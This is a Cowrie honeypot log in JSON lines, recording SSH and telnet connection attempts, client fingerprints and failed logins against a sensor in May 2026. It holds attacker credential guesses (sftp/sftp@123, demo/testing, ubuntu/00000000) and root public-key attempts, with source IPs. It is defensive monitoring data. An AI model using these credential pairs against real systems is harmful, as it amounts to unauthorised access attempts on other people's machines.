{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:32.205624Z","src_ip":"36.93.249.106","session":"888dd67198f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46270,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a9580cea36","protocol":"telnet","message":"New connection: 45.63.78.87:46270 (10.17.0.5:23) [session: 22a9580cea36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:32.933046Z"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp@123","message":"login attempt [sftp/sftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:33.330574Z","src_ip":"36.93.249.106","session":"888dd67198f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:34.606496Z","src_ip":"36.93.249.106","session":"888dd67198f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":29512,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47c21b70fdf","protocol":"ssh","message":"New connection: 185.9.193.111:29512 (159.203.135.109:22) [session: b47c21b70fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:48.393103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:48.427406Z","src_ip":"185.9.193.111","session":"b47c21b70fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:49.042907Z","src_ip":"185.9.193.111","session":"b47c21b70fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"testing","message":"login attempt [demo/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:53.580979Z","src_ip":"185.9.193.111","session":"b47c21b70fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:54.771494Z","src_ip":"185.9.193.111","session":"b47c21b70fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":52454,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9edd54961e","protocol":"telnet","message":"New connection: 45.63.78.87:52454 (10.17.0.5:23) [session: 5d9edd54961e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:56.796847Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.8.31.109","src_port":49960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a21cd2f63630","protocol":"ssh","message":"New connection: 46.8.31.109:49960 (10.17.0.5:22) [session: a21cd2f63630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:59.101709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:59.107441Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:59.281795Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:f6:d1:6a:6a:08:e1:ed:fc:3c:bd:65:af:f0:ef:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5yDwNWROuHodtNpGFZdNnnukOz/ZjY/TYmHfpUYrmzfhIS745Ep0mlHA9xlZ2WXDTQDTwjbSxMOawtlxJcHvyzUbBWgiRVw6rHtBluYkKhcwTCZb3J0h0kHfGcR4HBPdxlBg7FiX0Nde3B8aUGJNpp3OHXSLEpCHK8+kXqGMQa0m1Gu6hokCPjt7Cm5g5tGGjDnP7qXVYtwtofuNHWah7nnaWKkyMt6TM0c+X1t1KgSc8ZUg8GrOA8RjZdduFOdqGsdDdSbZFllOPJr93wNtaYC9D5ecstuw8Sr6Jq+b0pJjLZ5OnMNNqtLYLCGx3JyIhW9CjH4pXnum4XbJxXTt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:f6:d1:6a:6a:08:e1:ed:fc:3c:bd:65:af:f0:ef:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.127331Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:f6:d1:6a:6a:08:e1:ed:fc:3c:bd:65:af:f0:ef:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5yDwNWROuHodtNpGFZdNnnukOz/ZjY/TYmHfpUYrmzfhIS745Ep0mlHA9xlZ2WXDTQDTwjbSxMOawtlxJcHvyzUbBWgiRVw6rHtBluYkKhcwTCZb3J0h0kHfGcR4HBPdxlBg7FiX0Nde3B8aUGJNpp3OHXSLEpCHK8+kXqGMQa0m1Gu6hokCPjt7Cm5g5tGGjDnP7qXVYtwtofuNHWah7nnaWKkyMt6TM0c+X1t1KgSc8ZUg8GrOA8RjZdduFOdqGsdDdSbZFllOPJr93wNtaYC9D5ecstuw8Sr6Jq+b0pJjLZ5OnMNNqtLYLCGx3JyIhW9CjH4pXnum4XbJxXTt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.131607Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:07:4e:21:dd:d6:a6:f6:a5:7d:11:13:e1:33:99:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5UcsIbvpkxn4JTp/hRTVMIzbr7iqGlrT0/VrA2AW1h15MvY4x5vRtO8emJ7K4hWzk2fBDbU080M6qa2BjOm7e28kWad5sapD53WIkR86buXb8m54ChFUcTyf/Lc4tK0NNm8ERZTnZrUMfpMJDCATjsd5RU17ULWv6e+JK+S6sHertMerMx8KQ1TY/6SRjtUENGdRiMqlOchKx8Qy6l6tLwYKwz6ISPhuZXbNOaY89L0dRoCWobodwW6O422vD4/gzhn5sKqKtFJLut0ycUAQJ41BFQpY5qmIyPi8KRFdJy94+bmvhWF6hOVaZ+y3mISR6UPE7HNp3r1hBSJ2us0Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:07:4e:21:dd:d6:a6:f6:a5:7d:11:13:e1:33:99:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.306870Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:07:4e:21:dd:d6:a6:f6:a5:7d:11:13:e1:33:99:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5UcsIbvpkxn4JTp/hRTVMIzbr7iqGlrT0/VrA2AW1h15MvY4x5vRtO8emJ7K4hWzk2fBDbU080M6qa2BjOm7e28kWad5sapD53WIkR86buXb8m54ChFUcTyf/Lc4tK0NNm8ERZTnZrUMfpMJDCATjsd5RU17ULWv6e+JK+S6sHertMerMx8KQ1TY/6SRjtUENGdRiMqlOchKx8Qy6l6tLwYKwz6ISPhuZXbNOaY89L0dRoCWobodwW6O422vD4/gzhn5sKqKtFJLut0ycUAQJ41BFQpY5qmIyPi8KRFdJy94+bmvhWF6hOVaZ+y3mISR6UPE7HNp3r1hBSJ2us0Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.311414Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:37:cc:92:0e:06:e1:e9:b1:70:ea:51:58:f1:89:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSLPrHFtN3yBc8WJxumZ55sTX1ZSDr1DAJJCtjzSp9YqaxjfQa6WLkA4Jujay9Jrfj7Xx7gm5GGUxmK2PGzPix3t9wRdTAD/qs2fJ6funYyiO4iLUCX/yePP5aTvee70EJgHUX+g7SugnmDR7txQGnMj/N44VKe8qDsoQks7CyZSu/uPJpsuTbMjyhkLuyqmxK+HuwQPYVsbYhgTjqyqXsE1j6frfDCGcGllCYN5lnEOofaUH24ym+nphLNV3yCrYFR4nw/saXe3f1hZ8h/CQpsj/ZXrBTRv8Pa0+xvGuyB50U/o2JuwN3EPhF3zsA3YJsxYGmVxuA4gqWUpevRmgj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:37:cc:92:0e:06:e1:e9:b1:70:ea:51:58:f1:89:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.495533Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:37:cc:92:0e:06:e1:e9:b1:70:ea:51:58:f1:89:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSLPrHFtN3yBc8WJxumZ55sTX1ZSDr1DAJJCtjzSp9YqaxjfQa6WLkA4Jujay9Jrfj7Xx7gm5GGUxmK2PGzPix3t9wRdTAD/qs2fJ6funYyiO4iLUCX/yePP5aTvee70EJgHUX+g7SugnmDR7txQGnMj/N44VKe8qDsoQks7CyZSu/uPJpsuTbMjyhkLuyqmxK+HuwQPYVsbYhgTjqyqXsE1j6frfDCGcGllCYN5lnEOofaUH24ym+nphLNV3yCrYFR4nw/saXe3f1hZ8h/CQpsj/ZXrBTRv8Pa0+xvGuyB50U/o2JuwN3EPhF3zsA3YJsxYGmVxuA4gqWUpevRmgj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.499932Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:eb:9a:a2:e3:1f:f8:db:1e:a2:03:50:33:cd:4b:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTVMEz8+NRhcPCoGUm5djZVRjHdW6E+XGAPNfh6jkzNXn5G2BOyPPmcaLpiRZJyKO868U+nkke4xEozkx1gHpNmic9qr6PVwz2aiDCJ9qQN4PgawP8WwdWsPQSnvmrkQjFZSWCRbhrddA13hOjngL7HKm3VciTGURlfc5PV+lnp3GAHw1rLXCY8O6y5c/GNcuqqzKDX/NZ7ealHSbKnl4nU+1NUS8AFZ7N1NRRmXnLnpqwX5sflOE1mjIf3vTB6/h6Gmo+/lrNO2HgWqLzlow2+eSIpV/KqzWadIP0bPaVIhTQO5gLG9D0VMKPbSedgoNn7avHZdQuHWJoTOEydXN9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:eb:9a:a2:e3:1f:f8:db:1e:a2:03:50:33:cd:4b:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.675580Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:eb:9a:a2:e3:1f:f8:db:1e:a2:03:50:33:cd:4b:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTVMEz8+NRhcPCoGUm5djZVRjHdW6E+XGAPNfh6jkzNXn5G2BOyPPmcaLpiRZJyKO868U+nkke4xEozkx1gHpNmic9qr6PVwz2aiDCJ9qQN4PgawP8WwdWsPQSnvmrkQjFZSWCRbhrddA13hOjngL7HKm3VciTGURlfc5PV+lnp3GAHw1rLXCY8O6y5c/GNcuqqzKDX/NZ7ealHSbKnl4nU+1NUS8AFZ7N1NRRmXnLnpqwX5sflOE1mjIf3vTB6/h6Gmo+/lrNO2HgWqLzlow2+eSIpV/KqzWadIP0bPaVIhTQO5gLG9D0VMKPbSedgoNn7avHZdQuHWJoTOEydXN9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.679892Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:63:47:eb:05:46:3f:d1:07:c7:dc:b2:97:93:60:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5nn+d2gRnfxYXJoTcInZ1ar1OPcj/xiSEUojw1be6VzsLBHVEjdZMjh1kIs3NkTXh5Eyt084ipnhy1kUJfRBh857MSPOBlB+rgL8MG17XSc5EB2+N427ffR4yvTTV6nHtJI91S4p/9gV7juYqIpkV4wsE+WmJ5qWmvSK+1wn7tk5Ax9wUGqrHKMGVJWIs16czJiCnrDM42GtVtSto7oE5FnmhBoE/jNSaiIetyTPbofpeGxKf60P8Pxi9adJkehsiPQRbq5OPQCgx1esKvwI7a1sM+z0qpdPILVtwkzRlqDxco4mgTBXoFcaubZANn7e1NJRHvjNBIYcBqgWZOr4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:63:47:eb:05:46:3f:d1:07:c7:dc:b2:97:93:60:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.854745Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:63:47:eb:05:46:3f:d1:07:c7:dc:b2:97:93:60:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5nn+d2gRnfxYXJoTcInZ1ar1OPcj/xiSEUojw1be6VzsLBHVEjdZMjh1kIs3NkTXh5Eyt084ipnhy1kUJfRBh857MSPOBlB+rgL8MG17XSc5EB2+N427ffR4yvTTV6nHtJI91S4p/9gV7juYqIpkV4wsE+WmJ5qWmvSK+1wn7tk5Ax9wUGqrHKMGVJWIs16czJiCnrDM42GtVtSto7oE5FnmhBoE/jNSaiIetyTPbofpeGxKf60P8Pxi9adJkehsiPQRbq5OPQCgx1esKvwI7a1sM+z0qpdPILVtwkzRlqDxco4mgTBXoFcaubZANn7e1NJRHvjNBIYcBqgWZOr4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:00.860738Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:01.036021Z","src_ip":"46.8.31.109","session":"a21cd2f63630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.15899682044983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:03.091892Z","src_ip":"45.63.78.87","session":"22a9580cea36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":59128,"dst_ip":"10.17.0.5","dst_port":23,"session":"388c3f6b77c1","protocol":"telnet","message":"New connection: 45.63.78.87:59128 (10.17.0.5:23) [session: 388c3f6b77c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:25.019821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":59624,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf7b3a50ff5","protocol":"telnet","message":"New connection: 45.63.78.87:59624 (10.17.0.5:23) [session: baf7b3a50ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:26.905709Z"}
{"eventid":"cowrie.session.closed","duration":30.39164113998413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:27.188365Z","src_ip":"45.63.78.87","session":"5d9edd54961e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":55834,"dst_ip":"159.203.135.109","dst_port":22,"session":"7899d066df0e","protocol":"ssh","message":"New connection: 36.93.249.106:55834 (159.203.135.109:22) [session: 7899d066df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:29.789441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:29.795362Z","src_ip":"36.93.249.106","session":"7899d066df0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:30.073358Z","src_ip":"36.93.249.106","session":"7899d066df0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"00000000","message":"login attempt [ubuntu/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:31.215731Z","src_ip":"36.93.249.106","session":"7899d066df0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:32.495580Z","src_ip":"36.93.249.106","session":"7899d066df0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34708,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f95a5acda01","protocol":"telnet","message":"New connection: 45.63.78.87:34708 (10.17.0.5:23) [session: 8f95a5acda01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:38.059269Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.254","src_port":59324,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dee9e6c51d5","protocol":"ssh","message":"New connection: 185.222.138.254:59324 (10.17.0.5:22) [session: 5dee9e6c51d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:50.262981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:50.266511Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
